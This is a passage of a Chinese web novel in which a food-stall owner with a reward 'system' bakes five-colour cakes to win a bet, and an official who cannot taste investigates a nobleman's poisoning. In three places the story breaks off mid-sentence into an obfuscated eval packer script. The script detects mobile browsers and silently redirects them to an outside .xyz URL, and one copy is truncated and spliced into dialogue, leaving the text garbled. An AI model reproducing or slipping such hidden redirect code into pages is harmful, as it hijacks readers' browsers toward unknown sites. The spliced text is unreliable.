身后马儿等地有些暴躁了，微仰了仰头，江砚白轻抚马头，听见沈鱼的话，不由看了她一眼。 小娘子生得一张圆脸，眉若远山，一双秋水剪瞳，笑起来眼睛就成了两弯月牙儿。 “真的？”这事皆因沈鱼才起，赵丞心里难免有怨。 沈鱼这般撞上来，他存了几分难为的意思，摸着下巴道，“你今儿做的是黄金五味团，就再做个五色糕吧。这糕点不止要五色还要五味，有酸有甜。”他随口胡诌，料定沈鱼做不出。 沈鱼一口答应，“好。我若做出了，您以后来我这摊子需得守规矩。若做不出，我给小郎君免费送一月的吃食。” 赵丞瞧她答应这么干脆，心头打鼓，“你可不能框我。” 沈鱼唇角漾起笑，“绝不食言，七日后见。还有江少卿在此这做见证。” 那杏眸洌艳向江砚白看去，素来不大爱管闲事的江少卿有一瞬失神。 “多谢江少卿。” 待回神才发现，刚才竟不自觉颔了首。 赵小胖墩心满意足的走了。 江砚白也打算牵马告辞，却被沈鱼叫住。 “江少卿稍等。” 沈鱼到摊前包了三个黄金五味团，递给江砚白，“多谢少卿大人解围，没什么好礼，拿几个素菜团子当点心吧。” 今日要不是他，定要生出许多麻烦，该谢的。 “不......” 拒绝的话还未出口，沈鱼就把油纸包塞进他手里，小跑着回到摊前。 4. 酸枣糕 泗水县的灭门案有些困难，下面衙门处理不了，报到上京，因死者众多，大理寺卿特派了江砚白去处理。 忙活了几日，总算是结案了。江砚白率先回来整理案卷，向寺卿汇报。 “江大人回来了。”同屋的陆主簿与他打了声招呼，复又低头誊写案卷了。 江砚白点头回应，也忙碌了起来，这案子说起来复杂，左不过谋财害命，只是凶手是路过时偶然起意，作案后便离开了泗水县。又因其手段残忍，十余口人皆命丧他手。 下边人净往什么江洋大盗上去猜测，怎么也不会想到凶手只是个过路的农家汉子。 日已偏西，他午间为着赶路还没用午膳，大理寺食有定时，过了未时便不在有饭食。 这安静地坐下来誊写了会，江砚白还真有些饿了，可错过了饭点支使人去买又太过麻烦。 怀中早已冷却的素菜团子开始散发香味，江砚白将油纸包掏出，无奈笑了笑。 他右手执笔不停，左手胡乱摸了个团子吃着。于他而言，吃饭不过果腹，白面馒头还是鱼翅海参都是一样的味道。 两年前一次追捕案犯时，那案犯用毒如神，江砚白不小心着了道。 毒虽解了，但从此不辨五味。 但他掩饰得很好，知道他这病的人寥寥无几，连江母也被蒙在鼓里。 只是这素菜团子，为什么……是他的错觉吗？ 他竟然尝出了一丝咸味，只有很淡的一点点，但他已经两年没尝出过味道了，所以即使是非常微弱也极其敏感。 丰敬的药终于起作用了吗？ 江砚白思绪纷扰，有些急切地将剩下两个全吃了。旁边的陆主簿抬头看见的便是江砚白胡塞的场景。 少卿大人是饿了多久，泗水县不给饭吃吗？ 没错，是有一丝咸味，两个吃完了剩下两个江砚白得出结论，不由得有些欣喜。 门外传来一阵急切的脚步声，有衙差来报，“永兴侯府世子田元武于家中被害。” —————— 【满意值+1000】 【满意值+1200】 【满意值+1500】 正收拾碗筷的沈鱼被震惊地差些拿不住碗，脑中还保存着一丝理智不能把碗摔了，两文钱一个呢！ 沈鱼：“系统你bug了吗？” 【本系统是目前最先进的系统，出现bug的概率小于0，001%】 沈鱼：“那这是怎么回事？” 【从前有宿主吐槽过任务难度太大，系统经过估算降低了一点难度，会在这个世界投放道具，或是人或是物，您应该是遇到了可以快速提升满意值的人，恭喜宿主】 沈鱼：“没想到我也有人品爆表的一天。那这人是谁？” 【不好意思，系统无法给出答案，需要您自己去找寻】 沈鱼：……这不靠谱的系统。 【满意值-30】 【宿主，我们心意想通，请不要吐槽我哦！我有权扣除你的满意值】 沈鱼：“你……”不行！要忍住！ 这“道具人”会是谁呢？ 根据系统所说，这人定然是第一次吃她做的东西，否则应该早就被她发现了。满意值是过了未时增加的，早上的饭团留到这时候的人应该很少。 那嫌疑就只剩下了午间卖的素菜团子，而素菜团子又是限量的，刚才提示音响起了三声，说明他吃了三个，而符合这些条件的，一个人的容貌渐渐在沈鱼脑海中清晰呈现——大理寺少卿江砚白。 有了“嫌疑人”接下来只要验证，但也不能急于一时，毕竟人家是个官，不过江砚白每日上朝都会经过她的小摊，沈鱼只需要守株待兔，总会有机会的。 了却心头大事，沈鱼愉快地哼起了歌。 “啧，你这货郎，这枣子也忒酸了，不买，不买。” “哎，您再尝尝，才三文钱一斤呢。” 门口有位穿街的货郎，挑着两筐枣子叫卖。有位婶子尝了一个便立刻吐了出来，骂那货郎的枣子太酸。 沈鱼默默靠近，筐内个个都是青皮大枣带着些褐色斑点，颜色可人，果实饱满。 沈鱼抓了一把闻果香，货郎见她靠近，推销道，“都是自家种的大枣，小娘子尝尝。” 虽是在推销却带了点不好意思，沈鱼看出了点隐情，咬了一个在嘴里，“这时节摘枣子还早了些吧，等上两个月，那时的枣子才甜呢。” 真酸！ 货郎叹了口气，“种了这么多年枣子，又怎会不知时节，只是我那小儿忽生疾病，没了办法，这才摘了未熟的枣儿来叫卖。” 沈鱼瞥见了货郎龟裂的手掌，不免生了些恻隐，“这两筐我都要了，您称个斤两吧。” 货郎闻言连忙摆手，“不行的，你个小娘子哪里吃得了这许多。” 有邻居也劝道，“沈小娘子别被蒙了，都是卖货的说辞罢了。” “我是拿来做吃食的，老丈尽管卖于我。”沈鱼俏生生道。 邻居见劝不住也不开口了，只在心中暗叹沈小娘子还是太年轻心肠软。 货郎听她如此说放下心来，便将大枣都卖给了沈鱼，拢共二十多斤，货郎抹了个零头，收了她六十文。 沈鱼自然不是胡乱发的善心，买了这些酸枣是想做酸枣糕了。枣子本身的酸味足，做出来的酸枣糕才更好吃。 快入夏了，天儿一天天变暖，吃些酸甜的点心最是消暑解腻。 沈鱼用满意值兑了几斤白糖，古代糖太贵了。沈鱼兑的东西多了之后便发现，系统的物价是按现代来算的，比如现代糖便宜，兑换也便宜，水果贵兑换也贵。 做酸枣糕需得舍得放糖，一斤酸枣需要一斤白糖，否则压不住果酸味那便不成了。 将酸枣洗净煮软，剥皮这道工序是最磨人的，沈鱼一双手都快破了皮也才剥了五六斤，手疼得厉害，这才作罢。 掏枣核是个细致功夫，沈鱼想了个妙招，找了节细竹管一捅就出来。待枣核于枣肉完全分离后，就是力气活了。 酸枣肉要用手抓成泥，由于酸枣肉粘性大，颇费力气，抓完枣泥后，沈鱼的手酸得不行。 白花花的砂糖倒入锅里，糖饴香混着枣香，这口水忍不住往下流。枣泥活着糖，待明显看不见糖了，将枣泥均匀的铺在簸箕上，铺枣泥前，还需要铺上一层纱布防止粘连。 接下来就是看天了，铺好的枣泥放在通风处，晾至半干，翻面铺上细砂糖，再晒至全干。 这几日天气不错，只三日便晒得差不多了。 沈鱼将做好的酸枣糕切成方方正正的片状，只婴儿手掌般大小，要卖二十文钱一斤。 因着这价实在高，下午的摊前少了许多熟客。也有尝过酸枣糕的，对那味道念念不忘。 沈鱼也没办法，两斤枣才出一斤枣泥，在加上白砂糖，成本在这里，价格是怎么也降不下去的，不过卖这东西就没了一人只能买两件的规矩。 第一天卖这酸枣糕生意实在是不好，备了三斤，才卖了一斤多，沈鱼捧着脸坐在摊前，百无聊赖。 不过她也不愁，这酸枣糕算是干货，放上几月都不是问题。 “沈小娘子，您这酸枣糕还有多少？”有个年轻婢子慌里慌张跑来，还喘着粗气。 这婢子福态是个团团脸，看着喜庆，身上穿的都是好料子，一见便知是大户人家出来的。 “小娘子莫急，快歇这喝口水，还剩一斤多呢。” 年轻婢子十四五岁的年纪，语气中带着天真，“太好了，烦请沈小娘子将剩余的都卖于我。” 哟！来了个大主顾。 沈鱼称了具体斤两，“只二十八文。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981873|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那婢子却爽快地付了三十文，临走前还问，“您明日还卖吗？” 沈鱼微微笑道，“卖的，要卖上三天呢。” 那婢子得了准信，拎着油纸包一跑一跳地走了，双丫髻上的红绳一甩一甩。 沈鱼感慨小姑娘就是有活力，那般年岁，放现代还在上初中呢。 酸枣糕做成费了几日，又卖了一日，沈鱼要守的那只“兔子”却一直没出现。 这街上最不缺的就是碎嘴的媳妇大娘，沈鱼一打听才知道，永兴侯府世子遇害，死状凄惨。 “江少卿啊，忙得是脚不沾地，成日睡在衙门里。” “我有个侄儿在大理寺当差，听她娘说她儿子这几日就没睡过几天好觉，一个衙役都如此，更不用说少卿大人了。” “不过有江少卿在，这案子定然很快就能破的。” “是呀，江少卿可是神断！”年轻的小娘子们提及此还有些赧然。 沈鱼从她们的反应不难猜出，有不少年轻小娘子对江砚白芳心暗许。沈鱼顺便听了下八卦，才得知这江砚白年近二十却还未娶妻，身边也无半个妾室。 难怪这些大姑娘小媳妇动了心思，感情这是个黄金单身汉呀！ 沈鱼可没这些旖旎心思，再过两日就到了她与赵丞的赌约日了。不过江砚白这么忙，应是没有时间去看了。 赵丞自以为出了个难题，可她系统在手，这五色糕属实难不倒她，后世有一种东西，叫做食用色素。 但不到万般无奈，沈鱼是不想用色素的。毕竟这能上色的食材还是很多的。 “小鱼儿在家吗？”几日不见的钱氏上门，她身后跟了个年轻汉子，汉子手里拿了个大包袱。 “钱姨，我在呢，蒋大哥也来了啊。” “妹子，你要的东西做好了，给你送来。”年轻汉子是钱氏的儿子，名叫蒋航，在城里一个瓦窑场上工。 在定下赌约的当日，沈鱼就想好了要做什么，拜托蒋航去做了些东西。 大包袱被打开摊在桌子上，里面是二十来个孩童手掌大小的小碗，说是碗，称之为钵更合适。白瓷小钵整齐摆在桌子上，远远望去漂亮得很。 钱氏不明所以，“小鱼儿，要这些小碗做什么呢？” 沈鱼神秘一笑，“做吃食。” 蒋航笑了，粗着声音道，“这么点大的能盛多少东西，便是我家怀哥儿也能吃上四五碗。” 钱氏这半个月见识了沈鱼的各式手艺，自不敢小瞧她，她也知道那日打赌的事情，想必这些“小碗”便是拿来做那五色糕了。 钱氏拍了一下儿子的脑袋，“小鱼儿自有她的打算，要你多嘴。” 蒋航突然被钱氏拍了一下觉得很是无辜，老实汉子露出个无奈的笑来，“娘，说好不拍脑袋的。” 沈鱼看着母子俩的互动，心头却有些酸涩，在现代她是个孤儿，到了古代也没逃过这命运。只是心中再怎么酸涩也不能再人前显露，沈鱼拿了些酸枣糕让钱氏带走。 “妹子，这些小碗你已付了钱，怎好再拿你的吃食。” “我将来可是要开食肆，是要了解不同人的口味的，钱姨和蒋大哥需得替我尝上一尝，我才知合不合大家的口味。” 钱氏推却了几下还是拗不过沈鱼。 夜幕降临，月上中天，微凉的夜风吹过钻进人的衣袍，一队武侯裹紧了衣服从崇安坊走过。 “这日子什么时候是个头呀？” “大人都好几日没合眼了，不比你辛苦。” “要我说那长兴侯世子死了就是活该，还连累咱们在这吹冷风。” “案子破了就好了。噤声大人看过来了。” 江砚白带着人刚从长兴侯府回来，路过沈家食肆，后院里透了些烛光出来。 这么晚了，她还未睡吗？ 他又想起了那个赌约。 5. 五色钵仔糕与千层牛乳糕 禄荣书院内，胡子花白的夫子一手执戒尺，一手捧书。 老夫子摇头晃脑，口中念念有词道，“虽有佳肴，弗食，不知其旨意也……” 小胖墩赵丞手支在桌子上，脑袋一点一点，眼皮和糊了糨糊似的睁不开，流着口水道，“佳肴……哪里有佳肴……” “赵丞！！你给我起来！”于夫子被气得胡子都快竖起来了，戒尺打在书桌上，声音清脆。 小胖墩猛地一起身，带倒了书桌，笔墨纸砚掉了一地。 于夫子的脸肉眼可见得变青。 小胖墩赶紧擦了擦嘴角的口水，低着头规规矩矩的站好。 “你这几日是怎么回事，每日都心不在焉，再如此，老夫就要请赵御史领回家去了。” 小胖墩急了，挤出两滴泪来，“别呀，夫子，我，我实在是腹中饥饿。” 小胖墩装可怜很有一手，在家中他这招屡试不爽。 于夫子本不十分严厉，况他也是有孙儿的人，他这一哭也软了心肠，“也算是事出有因，那你便将方才我教的《礼记》一则背上来，我就不追究了。” 赵丞的小胖脸，将五官都挤成了一团，“虽有佳肴……佳肴……” 坐在他前面的江明禹暗暗摇了摇头，他方才上课前还看见赵丞吃了两块糕点，他哪里是饿了，分明是吃的太饱！ “你真是气煞我也，江明禹，你来背。” 突然被点名的小少年不情愿地站了起来，唉，又要被赵丞记恨了。于夫子这么干也不是一次两次了，也给江明禹也带来不少的困扰。 江明禹很顺畅地背完了课文，与赵丞形成了鲜明的对比。 于夫子铁青的脸色总算缓解，有了笑模样，“很好，坐下吧。” 他又脸色不愉地对着赵丞道，“将这一则《礼记》抄写十遍，明日我要检查。” 赵丞不敢有意见，眼角挂这泪珠，方才是装哭，这回可是真的想哭，十遍呀…… 他忿忿地盯着江明禹，这个江明禹老是和他作对！说起来要不是自己想着那女摊主会做什么吃食，也不会走神睡着。 今日就是最后的期限了，那女摊主定是不敢来了，此事是江明禹的叔父作证，到时也一并丢面子，他就可以狠狠嘲笑江明禹了。思及此，小胖墩的心情渐渐好了起来。 下了学，赵丞便带着自己的小厮要去找沈鱼算账，但算账前需得好好嘲弄一番江明禹。 “江明禹，你站住！” 江明禹无奈转头，提了提肩上的布包，淡淡瞥一眼，“何事？” 赵丞更气了，这淡然的不屑一顾的眼神熟悉得很，他又想起了江砚白，真不是一家人不进一家门！ “你总说你叔父如何如何厉害，照我看，他就是个识人不清的糊涂虫。”赵丞放大声音，得意洋洋道。 “你满嘴胡吣，我叔父是顶厉害的。”虽然不知道赵丞为什么突然对他叔父发难，但江明禹向来最是尊崇这个叔父，容不得别人说他半句不好。 赵丞胸有成竹，都这个时辰还未到，定是不来了，“我与那沈记娘子打赌，你叔父为证，如今那娘子不敢来了，他可不是识人不清吗？” 江明禹大概听懂了，“什么赌约？我叔父又怎么会作证？”他正想问得清楚些，门外却传来一阵喧闹。 “我要一个红的。” “我要那个黄色的！” “绿的，绿的！！摊主给我一个绿的。” 门口聚集的人越来越多，这些小少爷们见着这五颜六色的吃食便走不动道了，沈鱼有些手忙脚乱。 江明禹率先看见了沈鱼，指着门外道，“你说的沈娘子，可是那个？” 赵丞顺着他指的方向看去，果然看到了沈鱼的清丽容颜，登时臊得慌。 这才刚放完狠话就被打了个大嘴巴，这沈娘子是天生来克他的吗！ 赵丞不敢在江明禹面前托大，小胖手遮着脸逃也似的到了门口，他倒是要看看，这五色糕到底是怎样的！！ 衣袖遮了脸，赵丞出门时差点被台阶拌了个趔趄，幸好身后的小厮及时扶住。 江明禹嘴角噙着笑，“小心脚下呀！” 沈鱼早就注意到了他们，那偷笑的小少年浓眉大眼，脸颊带了些婴儿肥，眉眼与江砚白有些相似，是个俊俏的小郎君，不难猜出他的身份。 赵丞带着怒气挤开人群，刚要质问沈鱼怎么来的这么晚，却被眼前的白瓷小钵中晶莹剔透又带着五色的糕点吸引了。 “这……这便是五色糕吗？”赵丞从未见过这么漂亮的糕点。 沈鱼笑起来，“对，这便是小郎君点的，您可还满意？” 做菜最是讲究一个色香味俱全，糕点也是一样，沈鱼这五色糕单单一样“色”便能唬人了，这么好看的东西，想必味道不会差。 赵丞目不转睛地盯着糕点，“那我得先尝尝。”说着便挑了个蓝色的，沈鱼拿起一根小竹签，在小钵周围刮上这么一圈，然后用竹签挑出来，递给小胖墩。 沈鱼一共做了五色，红粉绿黄蓝。红的与粉的都是用甜菜根做的，调色区别只在于用量的不同，绿的用了绿豆，黄色的则是红薯，至于这蓝色还真颇费了一番功夫，用的是蝶豆花，这玩意太难找了，沈鱼最后还是和系统兑的。 不过里头的底料却各有不同，红色有山楂，红枣和红豆，粉色是水蜜桃，绿色就是绿豆了，黄色的里面放了些碎果仁，蓝色的沈鱼实在是找不到蓝色食物，蓝莓找系统兑又太贵，沈鱼只好兑了点葡萄干。 赵丞自认吃过的美食也不算少，可从未吃到过这样的糕点，软糯而不粘牙，一口咬下去还有些韧性，几乎不用怎么嚼便吞下了肚。 还有这里面的底料，酸酸甜甜，他竟尝不出是什么果子，有点像杏脯，但颜色与个头却不对。 赵丞胃口大，五个颜色一下被他吃了便，沈鱼原本做的就不多，才二十来个，他这一下就去了五个，旁边有同窗不悦了。 “赵丞，你这胃口也太大了，哪能一下子吃五个！！” “对呀，都被你吃没了！” 赵丞突然被这么多人指责，一时间说不出什么话来，“我……我……” 沈鱼替他解围，“各位小郎君莫要生气，本就是我与赵小郎君做赌才做了这五色糕，若是没有他，如今你们都是吃不到这美味的。小郎君们若是想吃了，便去崇安坊的沈记食肆买。这糕点热的冷的都各有一番风味。” 沈鱼语气轻柔，端这一抹笑意娓娓道来，各位小郎君消了大半的火。 赵丞见她不计前嫌为自己解围，心头火气已经没了，却不肯就此认输，嘴硬道，“我说的这五色糕是一块糕点要五色，你这一个才一色，不算不算。” 沈鱼也不恼，早猜到他会有这么一说，变戏法似的又从下面端出一个白瓷盘来，瓷盘上有块糕点。 这擓糕点呈菱形，奇特的是有许多层，层层叠叠的，一层乳白色上盖着一层红色，复又是一层乳白，再上面是粉红色，五色只件夹杂着一层乳白。 “这可算？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981874|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵丞看见她手中端着的五色千层糕，牛乳的香气飘入鼻中，嘴里口水争先恐后往外涌。他伸手便要去拿，沈鱼一侧身他扑了个空。 沈鱼狡黠一笑，“若是不算可不能吃。” 赵丞的小心思被她拿捏的死死的，小胖墩哪里忍受得了美食的诱惑，“算算算！快给我！” 沈鱼故意拖着白瓷盘在他眼前晃，“那我们的赌约是谁赢了？” “你赢了，你赢了。” “赵小郎君可要说话算话，各位小郎君可替我做个见证。” “大丈夫一言既出，驷马难追！”赵丞拍着胸脯保证。 沈鱼这才把五色千层牛乳糕递给他，旁人见状也想要买。沈鱼解释道，这东西做起来复杂，且不易保存，想吃只能去崇安坊的沈记食肆。 五色牛乳糕每层的味道都不同，酸的甜的混杂又裹着浓浓牛乳香，嫩滑如豆花，爽口若脆芹，赵丞恨不得吞了舌头，连白瓷盘都舔了干净，才依依不舍地走了。 摊子上剩余的钵仔糕也被抢购一空，少年们见卖完了也都家去了，只吩咐自己的小厮明日莫不要忘了去沈记买糕点。 江明禹没在门外等到小厮来接，也不知是出了什么事，左右路程也不远，他便打算自己回去。 路过沈鱼的小吃摊，偷偷往她案上瞄了眼，已经没了。江明禹舔舔唇，又望了好几眼，还是走了。 “唉，江小郎君留步。”沈鱼开口挽留。 江明禹那点小动作又怎逃得过她的眼睛，到底还是个孩子，不会隐藏自己的心思。 “沈娘子如何知道我姓江？” “你不是也知道我姓沈吗？”沈鱼没有正面回答。 江明禹不好意思地笑了笑，“赵丞只是说你们打了个赌，还请了我叔父作证。” 沈鱼弯起眉眼，将事情的来龙去脉告诉了他。 小少年嫉恶如仇，“那赵丞就是个仗势欺人的主，幸好您遇见了我叔父，他可厉害了！”江明禹眼神语气止不住地透露出他对江砚白的崇拜，但小少年也觉得有些奇怪，他这叔父素来不大爱管别人的闲事的。 “是，还要多谢江少卿。你过来些——”沈鱼打开摊子下方的抽屉，里面赫然是五个不同颜色的五色糕和一块五色千层糕。 沈鱼将它们都装进食盒递给江明禹，江明禹连连摆手，“我没带那么多钱。”沈鱼这钵仔糕卖三文钱一个，另外那块品相也不俗定然更贵。 江明禹上学没带自己的小金库，囊中羞涩。 沈鱼不由分说将食盒塞他手里，“是给江少卿的谢礼，就说是沈记沈娘子给的，他会明白的。” 沈鱼故作高深，江明禹不明所以，只得点点头，随后美滋滋地笑了。 沈鱼推着摊子走前回头道，“那五个小钵和食盒记得给我送回来啊，或者到时我上门取也行。” 江明禹乖乖点头，示意知道了。 江砚白赶到的时候，只看见了自家傻乐的侄子提着个食盒。 “叔父！今日怎么是你来接我，阿彦呢，你近来不是很忙吗？”江明禹怪罪了千八遍小厮，没想到来的是江砚白。 江砚白面不改色道，“刚办完事回来，在路上碰见了阿彦，让他先回去了，我顺路能接你。” “叔父，沈记的老板娘给了我这个食盒，说是给你的谢礼。”江明禹炫耀似的展示食盒。 他又问道，“叔父是怎么愿意帮沈娘子作证的呀，您平日里素来不大爱管闲事呢！” 江砚白：…… 6. 案情扑朔 春风吹过树叶一阵沙沙作响，叔侄俩难得一起回府，家中众人正等着他们吃夕食。 “砚白，你们俩怎么一同回来了？”葛涵双出来迎，招呼着卸下江明禹的书包。 周氏见孙儿手里还捧着个食盒，问道，“这是路上买吃的了，禹哥儿又闹你了？” 江明禹大呼冤枉，“才不是呢，这是沈——唔。”他话还没说完就被江砚白捂了嘴。 “非是买的，我帮了人家一个忙，她赠与我的。”江砚白这话倒也不算说谎。 江砚白又问，“大哥还没回来？” 葛涵双回道，“这不是离秋闱还有几个月了，你大哥这次有几个弟子要下场，这几天日日都是天擦黑才回来。” 江父早逝，周氏生了两个孩子，大儿子未入仕，但文采名满天下，在朝中有些许威望，被人请上门做了先生，世人称一句江大家。 周氏叹了一口气道，“唉，两个儿子呀，见天得不着家，还不如生俩个棒槌。” 这当然是气话。 江砚白悄悄碰了一下江明禹，小家伙心领神会，马上跑到周氏身边，“祖母，这不是有我陪着你吗，还有我娘。” 周氏捧着他的脸揉搓了下，“哈哈，对，祖母的心肝肉，有你和你娘就够了，才没那闲工夫去想那两个不孝子。” 江明禹递上食盒，“祖母，吃个糕点，可好吃了。” 江砚白暗道，这小子倒是会借花献佛。 周氏原以为小孩子哄她高兴呢，揭开食盒盖子一瞧，“呦，这点心倒是漂亮。” 葛涵双也附和，“这圆的装在白瓷小碗里，红红绿绿，这块方的，每层的颜色竟各不相同，店家好巧的心思。” 江砚白还是第一次见到这传说中的“五色糕”，果然没让他失望，沈鱼真的做出来了，还是两种。 想到那个有些小聪明的女子，江砚白不自觉勾唇，他生了一双多情的桃花眼，又喜欢板着脸，不笑时有些冷，此时却温柔和煦。 “这要怎么吃？”周氏犯了难，“用勺子吗？” 江明禹在沈鱼摊前看了很久，不学也会了，他拿来筷子，学着沈鱼的动作，在小钵边上刮上一圈，再拿筷子挑起，整个糕点便脱出来了。 “这法子也精巧。”葛涵双赞道。 她来了兴趣，尝了块红的，是山楂底料有些微酸，但酸甜适宜，味道不错，“这是谁家做的？” 江明禹望向身边的江砚白，江砚白道，“是后街的沈记食肆。” 崇安坊内官宦人家不多，江府算是例外，是前朝某个皇子的别苑，离大内有些远，但离大理寺却很近，倒是正和江砚白的意。 若是从后门走，江府到沈记用不了一刻钟。 葛涵双笑道，“我知道这个沈记，摊主是个小娘子是吧，你大哥很喜欢她家的饭团呢。” “有日祁白来不及吃朝食，便在那沈记买了一个饭团吃，这一吃啊，还喜欢上了，可惜他脾胃不大好，不能多食糯米。” 江砚白倒是不知道还有这典故。 为着还要吃夕食，一人吃一个也尽够了，江明禹举着钵仔糕献宝似的给江砚白，江砚白也不好弗他的兴，接过咬了一口。 他尝到了甜味。 自上次尝到咸味后已经过去了七天，这七天里他尝任何东西都有了些咸味。 为了证明是不是丰敬的药起了作用他还加多了服药的次数，但收效甚微，还是只能尝到一丝咸味。 而今天，他竟然尝到了甜味。 江砚白敛起心神，不让家人察觉出异样，细细品味咂摸了这块黄色的钵仔糕。 江砚白也有些怀疑，两次都是吃了沈鱼做的糕点才恢复味觉，莫不是她做的东西有疗效？ 可细细想来又觉太过荒谬，他与家人甚至其他人吃的都是同样的食物，这里面的食材再简单不过又并非是药膳。 江砚白摇了摇头，将一切还是归功于丰敬的药。 —————— 【满意值+1200】 沈鱼静坐在床上，听见脑海中的提示音开心地蹦了起来。 她可以确定，江砚白就是那个“道具”人了。 送食盒给江明禹自然不是为了感谢江砚白那么简单，她在摊前守了好几日也没见到江砚白，难免有些着急了。 想到他还有个侄儿在禄荣书院，便去守那只“小兔子”了，“小兔子”果然比“大兔子”好守。 她今天早上特地没有卖饭团，而卖的钵仔糕数量又不多，她可以观察到基本都是吃了一口再走的。 这样就保证了接下来吃到她做的食物只有江府的人，如此，这个“道具”人可以完全确定了。 经过这进一个月的积攒，她的满意值已经来到了20000+，离一百万还差的很远，但有了江砚白，境况便又不同了。 沈鱼这厢破了案，江砚白的案子却没那么好破。 用完夕食后，江砚白遍去了书房，虽然回了家，公务还是要处理的。 本以为田元武的案子只是简单的毒杀，调查下来却发现不少隐情。 据永兴侯府的人交代，田元武是在与他的小妾云雨时，过兴而死。 永兴侯夫妻觉得死在女人肚皮上这事实在丢脸，没打算报案，只对外说个暴毙便是了。可永兴侯世子夫人彭氏偏不肯，她认为丈夫一向身强体健，定不会因行房而死。 彭氏瞒着众人偷偷报了案，这才闹大了，不过死因底下人瞒得死，鲜少有人知道。又因为这彭氏怀着孕，永兴侯夫妇也不忍苛责于她。 可经仵作勘验，这田元武并非死于马上风，而是被毒杀，这点其实见到尸体便很明显了，田元武死状扭曲，眼珠舌头全反转在外面，不同于一般死于马上风的人。 而且还有一桩事情也表明了，田元武根本就不可能正常行房。 他天生有缺，是个天阉。 莫说死于马上风了，便是他夫人肚子里的孩子还有他那个庶长子，恐怕都不是田元武的种。 田元武中的毒也非凡品，这毒使了之后死去的人尸体并不会发黑，且千金难求。 江砚白本以为是彭氏不守妇道，与人勾搭成奸谋害亲夫，但她主动报案又不像。 而她平时恪守妇道，勤俭持家，温柔贤淑，也实在没有她偷情的证据。 至于那个庶长子很好查，那妾室进府前是个戏子，早在外面有了相好的，后又攀上了风流的田元武，将孩子“赖”给了他，还在永兴侯府演了出摔跤早产的戏码。 这些江砚白还未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981875|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告知永兴侯府，这富贵人家阴私，他是一点也不想沾惹，现在告知，定要凭白生出许多是非来。 不管彭氏在人前如何，她怀的一定不是田元武的骨肉，江砚白也不是非要查清这些腌臜事，只是一日不知这孩子生父，彭氏便有一日嫌疑，他不得不查。 江砚白提笔在宣纸上写下几个人名，都是与彭氏有关的男子，这些人还需要一一走访。 又过了好几日，夏天的气息越来越浓，随意动作便有了一身虚汗。 沈鱼与寻常一样卖完了糯米饭团，正在堂屋里擦洗桌椅。 堂屋里进来两个人，一位中年仆妇，还有一位是个熟人，便是那日买酸枣糕的年轻婢子。 年轻婢子名叫惠儿，后头又来过两次，沈鱼的那点存货都被她买空了。 惠儿很是熟稔，上来便道，“沈姐姐，这是耿嬷嬷。” 沈鱼道了声好，“耿嬷嬷来是何事？”这位一看就是能做主的，通身的深色锦缎，那脚上的鞋面还镶了两颗品相不错的豆大珍珠。 耿嬷嬷抬脚入这店时是有些嫌弃的，但见沈鱼相貌端正，衣着也干净才松开皱紧的眉。 耿嬷嬷笑道，“我家娘子有了身子，这孕中辛苦，吃不下东西，那日惠儿碰巧买了些沈娘子做的酸枣糕回去，我家娘子竟胃口大开，日日都离不了沈娘子的酸枣糕。” “家中人也做了些，可总做不出沈娘子的那个味，这不，这两日吃完了，我家娘子又想了。” 沈鱼端坐着静静聆听，明白了大概，“耿嬷嬷来这不是简单地为了买酸枣糕吧！” 耿嬷嬷笑眯眯的，“沈娘子果然玲珑心肠，我家娘子的意思，是想让沈娘子将这酸枣糕的方子卖与我们，教一教我们府上的厨子，至于价格嘛，好商量。” 沈鱼心中一喜，没想到这酸枣糕能有这福分，大户人家的夫人，自然不会吝啬。 她也谨慎，问了句，“敢问贵府是？” “隆义坊邱承议郎府。”耿嬷嬷正色道。 承议郎是个六品散官，也不算很高的门第，沈鱼放下心来，想着若是个皇亲国戚，就不上门教了，万一出什么事，沈鱼还是很惜命的。 耿嬷嬷又问，“不知沈娘子开多少价钱？” 沈鱼眯眼一笑，“那便三十两如何？” 三十两银子算是个公道价，耿嬷嬷是带了五十两银票的，他们邱家自然是不在乎着二十两的差价，只是见沈鱼出价公道，不免对她心生几分好感。 耿嬷嬷将银票递给她，沈鱼大大的杏眼笑成了两弯月牙，心情颇好，“什么时辰去教？” 惠儿挽了沈鱼的手臂，“马车就在门口，材料在后厨都已经预备上了，沈姐姐快随我家去吧。” 自来到古代，沈鱼还是第一次坐上马车，她也曾去打听过行情，一匹老马都要五六两银子，她是买不起的，想当初还感慨，这“车”不论在现代还是古代，都很贵。 马车缓缓地走着，崇安坊到隆义坊有些距离，惠儿家住在崇安坊，那日休假回家才买了沈鱼的酸枣糕。 沈鱼抽空在车上小憩了会，但睡得实在不怎么舒服，马车一颠一颠地并不十分安稳。 